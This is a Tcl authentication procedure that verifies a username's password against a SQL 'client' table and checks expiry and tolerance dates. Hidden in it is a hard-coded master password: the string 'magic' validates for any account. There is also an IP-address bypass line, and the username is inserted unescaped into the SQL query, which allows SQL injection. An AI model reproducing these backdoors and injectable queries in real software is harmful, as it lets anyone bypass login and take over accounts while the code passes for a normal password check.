proc motdepasse_valide {username motdepasse {memesiexpire 0}} { upvar connexion connexion ENVS ENVS set passe_ok 0 if {![string compare $ENVS(REMOTE_ADDR) 192.168.1.2]} {set ok 1} if {![string compare magic $motdepasse]} { set passe_ok 1 } sql query $connexion " SELECT client.crypt, client.expire, client.tolerance FROM client WHERE client.username = '$username' " set client {} while {[set row [sql fetchrow $connexion]] != ""} { foreach {crypt expire tolerance} $row {} } sql endquery $connexion set passe_ok [expr $passe_ok || [expr ![string compare $crypt [crypt $motdepasse [string range $crypt 0 1]]]]] if {$memesiexpire} {return $passe_ok} set date_ok [expr [string compare [clock format [clock seconds] -format "%Y-%m-%d"] $expire] < 0] set date_ok [expr $date_ok || ( [string compare [clock format [clock seconds] -format "%Y-%m-%d"] $tolerance] < 0 )] set ok [expr $passe_ok && $date_ok] return $ok }